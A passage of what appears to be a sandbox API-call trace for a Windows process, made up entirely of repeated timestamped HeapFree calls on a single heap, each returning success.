lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0292.058] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0292.071] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x77fee0 | out: hHeap=0x700000) returned 1 [0292.072] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0292.491] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x77fee0 | out: hHeap=0x700000) returned 1 [0292.491] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0292.492] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0292.492] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0292.493] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0292.493] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0292.493] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0292.494] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0292.494] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x77fee0 | out: hHeap=0x700000) returned 1 [0292.495] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x3c70e10 | out: hHeap=0x700000) returned 1 [0292.672] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x77fee0 | out: hHeap=0x700000) returned 1 [0292.672] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x77fee0 | out: hHeap=0x700000) returned 1 [0292.672] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x77fee0 | out: hHeap=0x700000) returned 1 [0292.672] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x3c70e10 | out: hHeap=0x700000) returned 1 [0292.676] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0292.679] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0292.680] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0292.681] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0292.681] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0292.681] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0292.681] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0292.682] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0292.683] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0292.684] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0292.684] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43f0880 | out: hHeap=0x700000) returned 1 [0292.684] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0292.685] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0292.685] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0292.686] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0292.686] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0292.688] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x77fee0 | out: hHeap=0x700000) returned 1 [0292.688] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x3c70e10 | out: hHeap=0x700000) returned 1 [0292.690] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x77fee0 | out: hHeap=0x700000) returned 1 [0292.694] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x77fee0 | out: hHeap=0x700000) returned 1 [0292.698] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0293.744] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0294.398] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0294.398] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0294.398] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0294.402] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0294.403] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0294.406] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0294.406] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0294.408] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0294.410] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0294.414] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0294.909] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0294.910] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0294.913] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0294.913] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0294.914] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0295.434] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0295.434] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0295.435] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0295.437] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0295.450] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0295.463] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0295.468] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0295.474] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0295.474] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0295.474] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0295.474] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0295.476] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0295.982] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x45448d8 | out: hHeap=0x700000) returned 1 [0295.984] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x45448d8 | out: hHeap=0x700000) returned 1 [0295.986] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x45448d8 | out: hHeap=0x700000) returned 1 [0295.988] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x45448d8 | out: hHeap=0x700000) returned 1 [0295.990] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x45448d8 | out: hHeap=0x700000) returned 1 [0295.992] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x45448d8 | out: hHeap=0x700000) returned 1 [0295.995] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x45448d8 | out: hHeap=0x700000) returned 1 [0295.997] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x45448d8 | out: hHeap=0x700000) returned 1 [0295.999] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x45448d8 | out: hHeap=0x700000) returned 1 [0296.001] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x45448d8 | out: hHeap=0x700000) returned 1 [0296.003] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x45448d8 | out: hHeap=0x700000) returned 1 [0296.005] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x45448d8 | out: hHeap=0x700000) returned 1 [0296.007] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x45448d8 | out: hHeap=0x700000) returned 1 [0296.009] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x45448d8 | out: hHeap=0x700000) returned 1 [0296.480] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0296.481] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0296.483] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0296.485] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0296.487] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0296.489] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0296.490] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0296.492] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0296.494] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0296.496] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0296.499] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0296.501] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0296.503] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0296.504] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0296.506] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0296.508] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0297.615] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0297.617] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0297.619] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0297.621] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0297.623] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0297.625] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0297.628] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0297.630] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0297.633] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0297.636] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0297.638] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0297.640] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0297.643] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0297.645] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0297.645] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0297.645] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0298.789] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0298.792] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0298.794] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0298.795] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0298.797] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0298.798] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0298.800] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0298.802] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0298.804] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0298.805] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0298.807] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0298.809] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0298.811] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0298.813] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0298.815] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0298.819] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0298.821] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0298.824] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0300.319] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0300.321] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0300.323] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0300.324] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0300.326] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0300.328] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0300.330] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0300.332] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0300.334] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0300.336] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0300.338] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0300.340] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0300.342] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0300.343] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0300.345] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0300.347] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0300.349] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0300.908] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0300.910] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0300.912] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0300.914] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0300.916] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0300.918] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0300.919] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0300.921] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0300.922] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0300.946] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0300.946] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0300.948] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0300.949] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0300.951] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0300.953] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0300.955] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0300.957] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0300.960] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0300.962] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0300.962] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0300.964] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0300.966] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0300.968] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0300.970] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0300.972] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0300.974] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0300.975] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0301.463] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0301.466] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0301.468] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0301.471] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0301.475] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0301.478] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0301.480] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0301.483] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0301.485] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0301.487] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0301.492] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0301.494] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0301.497] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0301.499] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0301.502] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0301.505] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0301.505] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4514010 | out: hHeap=0x700000) returned 1 [0301.505] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4514010 | out: hHeap=0x700000) returned 1 [0301.505] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4514010 | out: hHeap=0x700000) returned 1 [0301.506] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4514010 | out: hHeap=0x700000) returned 1 [0301.506] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4514010 | out: hHeap=0x700000) returned 1 [0301.506] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4514010 | out: hHeap=0x700000) returned 1 [0301.506] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4514010 | out: hHeap=0x700000) returned 1 [0301.506] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4514010 | out: hHeap=0x700000) returned 1 [0301.776] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4514010 | out: hHeap=0x700000) returned 1 [0301.777] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0301.777] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0301.777] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0301.777] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0301.778] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0301.778] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0301.778] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0301.778] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0301.778] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0301.778] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0301.778] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0301.779] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0301.779] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0301.779] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0301.779] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0301.779] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0301.779] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0301.780] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0301.780] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0301.780] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0301.780] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0301.780] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0301.780] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0301.780] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0301.781] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0301.781] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0301.781] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0301.781] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0301.781] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0301.781] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0301.781] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0301.781] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0301.782] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0301.782] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0301.782] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 